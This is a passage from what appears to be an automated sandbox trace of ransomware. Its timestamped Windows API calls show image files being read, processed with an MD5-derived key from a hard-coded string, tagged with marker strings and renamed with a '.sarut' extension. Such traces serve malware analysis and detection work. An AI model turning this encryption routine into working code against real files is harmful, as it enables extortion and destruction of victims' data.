lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.317] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0271.319] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0271.319] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0271.319] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0271.319] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x11af6, lpOverlapped=0x0) returned 1 [0271.320] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.320] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0271.320] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.320] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.320] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa51f8) returned 1 [0271.321] CryptCreateHash (in: hProv=0x2fa51f8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0271.321] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0271.321] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0271.321] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0271.321] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0271.321] GetLastError () returned 0x0 [0271.321] CryptDestroyHash (hHash=0x3091560) returned 1 [0271.321] CryptReleaseContext (hProv=0x2fa51f8, dwFlags=0x0) returned 1 [0271.321] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0271.321] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11b00) returned 0x311d708 [0271.322] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0271.322] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0271.322] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x11af1, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x11af1, lpOverlapped=0x0) returned 1 [0271.322] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0271.322] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x11af6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.322] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1990 [0271.322] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0271.322] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0271.322] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0271.322] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0271.323] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1990 | out: hHeap=0x640000) returned 1 [0271.323] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0271.323] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0271.323] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0271.323] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0271.323] CloseHandle (hObject=0x5c4) returned 1 [0271.328] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x302b6c8 [0271.328] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8b0) returned 0x311d708 [0271.328] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0271.328] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\Oy-L7Z_7HHJqNjbRbhn.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io8_8guawtxmu\\oy-l7z_7hhjqnjbrbhn.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\Oy-L7Z_7HHJqNjbRbhn.png.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io8_8guawtxmu\\oy-l7z_7hhjqnjbrbhn.png.sarut")) returned 1 [0271.329] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0271.329] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0271.330] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3056730 | out: hHeap=0x640000) returned 1 [0271.330] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62329530, ftCreationTime.dwHighDateTime=0x1d4cdd4, ftLastAccessTime.dwLowDateTime=0x4496af30, ftLastAccessTime.dwHighDateTime=0x1d4d521, ftLastWriteTime.dwLowDateTime=0x4496af30, ftLastWriteTime.dwHighDateTime=0x1d4d521, nFileSizeHigh=0x0, nFileSizeLow=0x11b40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Tkrayns.jpg", cAlternateFileName="")) returned 1 [0271.330] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082918 [0271.330] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa6) returned 0x3056730 [0271.330] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082918 | out: hHeap=0x640000) returned 1 [0271.330] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\Tkrayns.jpg") returned=".jpg" [0271.331] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\Tkrayns.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io8_8guawtxmu\\tkrayns.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0271.331] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=72512) returned 1 [0271.331] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0271.333] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x11b1a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.333] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0271.335] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0271.335] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0271.335] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0271.335] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x11b40, lpOverlapped=0x0) returned 1 [0271.338] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.338] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0271.338] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.338] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.338] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa51f8) returned 1 [0271.339] CryptCreateHash (in: hProv=0x2fa51f8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0271.339] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0271.339] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0271.339] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0271.339] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0271.339] GetLastError () returned 0x0 [0271.340] CryptDestroyHash (hHash=0x3091560) returned 1 [0271.340] CryptReleaseContext (hProv=0x2fa51f8, dwFlags=0x0) returned 1 [0271.340] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0271.340] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11b40) returned 0x311d708 [0271.340] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0271.340] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0271.340] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x11b3b, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x11b3b, lpOverlapped=0x0) returned 1 [0271.341] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0271.341] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x11b40, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.341] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1990 [0271.341] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0271.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0271.341] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0271.341] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0271.341] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1990 | out: hHeap=0x640000) returned 1 [0271.341] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0271.341] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0271.341] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0271.341] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0271.341] CloseHandle (hObject=0x5c4) returned 1 [0271.344] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x2fb7ef8 [0271.344] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x890) returned 0x311d708 [0271.344] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fb7ef8 | out: hHeap=0x640000) returned 1 [0271.344] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\Tkrayns.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io8_8guawtxmu\\tkrayns.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\Tkrayns.jpg.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io8_8guawtxmu\\tkrayns.jpg.sarut")) returned 1 [0271.345] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0271.345] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0271.347] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3056730 | out: hHeap=0x640000) returned 1 [0271.347] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6117bd0, ftCreationTime.dwHighDateTime=0x1d4d1d9, ftLastAccessTime.dwLowDateTime=0x2a3b4c40, ftLastAccessTime.dwHighDateTime=0x1d4c838, ftLastWriteTime.dwLowDateTime=0x2a3b4c40, ftLastWriteTime.dwHighDateTime=0x1d4c838, nFileSizeHigh=0x0, nFileSizeLow=0x64ed, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Wq-pSl9brlP45GOmX.jpg", cAlternateFileName="WQ-PSL~1.JPG")) returned 1 [0271.347] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082918 [0271.347] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa6) returned 0x3056730 [0271.347] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082918 | out: hHeap=0x640000) returned 1 [0271.347] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\Wq-pSl9brlP45GOmX.jpg") returned=".jpg" [0271.347] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\Wq-pSl9brlP45GOmX.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io8_8guawtxmu\\wq-psl9brlp45gomx.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0271.347] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=25837) returned 1 [0271.347] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0271.350] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x64c7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.350] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0271.354] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0271.354] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0271.354] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0271.354] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x64ed, lpOverlapped=0x0) returned 1 [0271.355] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.355] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0271.355] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.355] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.355] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa51f8) returned 1 [0271.356] CryptCreateHash (in: hProv=0x2fa51f8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0271.356] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0271.356] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0271.356] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0271.356] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0271.356] GetLastError () returned 0x0 [0271.356] CryptDestroyHash (hHash=0x3091560) returned 1 [0271.356] CryptReleaseContext (hProv=0x2fa51f8, dwFlags=0x0) returned 1 [0271.356] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0271.356] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x64f0) returned 0x311d708 [0271.356] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0271.356] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0271.356] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x64e8, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x64e8, lpOverlapped=0x0) returned 1 [0271.356] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0271.357] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x64ed, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.357] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1990 [0271.357] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0271.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0271.357] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0271.357] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0271.357] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1990 | out: hHeap=0x640000) returned 1 [0271.357] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0271.357] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0271.357] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0271.357] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0271.357] CloseHandle (hObject=0x5c4) returned 1 [0271.360] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x302b6c8 [0271.360] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8b0) returned 0x311d708 [0271.360] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0271.360] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\Wq-pSl9brlP45GOmX.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io8_8guawtxmu\\wq-psl9brlp45gomx.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\Wq-pSl9brlP45GOmX.jpg.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io8_8guawtxmu\\wq-psl9brlp45gomx.jpg.sarut")) returned 1 [0271.361] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0271.361] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0271.362] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3056730 | out: hHeap=0x640000) returned 1 [0271.362] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9277ca0, ftCreationTime.dwHighDateTime=0x1d4cc5b, ftLastAccessTime.dwLowDateTime=0xf6c5a900, ftLastAccessTime.dwHighDateTime=0x1d4c6bb, ftLastWriteTime.dwLowDateTime=0xf6c5a900, ftLastWriteTime.dwHighDateTime=0x1d4c6bb, nFileSizeHigh=0x0, nFileSizeLow=0x18040, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XOHwMSl dhcUZR2jE3dY.bmp", cAlternateFileName="XOHWMS~1.BMP")) returned 1 [0271.362] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082918 [0271.362] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa6) returned 0x3056730 [0271.362] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082918 | out: hHeap=0x640000) returned 1 [0271.362] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\XOHwMSl dhcUZR2jE3dY.bmp") returned=".bmp" [0271.363] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\XOHwMSl dhcUZR2jE3dY.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io8_8guawtxmu\\xohwmsl dhcuzr2je3dy.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0271.363] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=98368) returned 1 [0271.363] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0271.365] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1801a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.365] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0271.367] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0271.367] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0271.367] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0271.367] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x18040, lpOverlapped=0x0) returned 1 [0271.368] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.368] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0271.368] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.368] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.368] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa51f8) returned 1 [0271.369] CryptCreateHash (in: hProv=0x2fa51f8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0271.369] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0271.369] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0271.369] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0271.369] 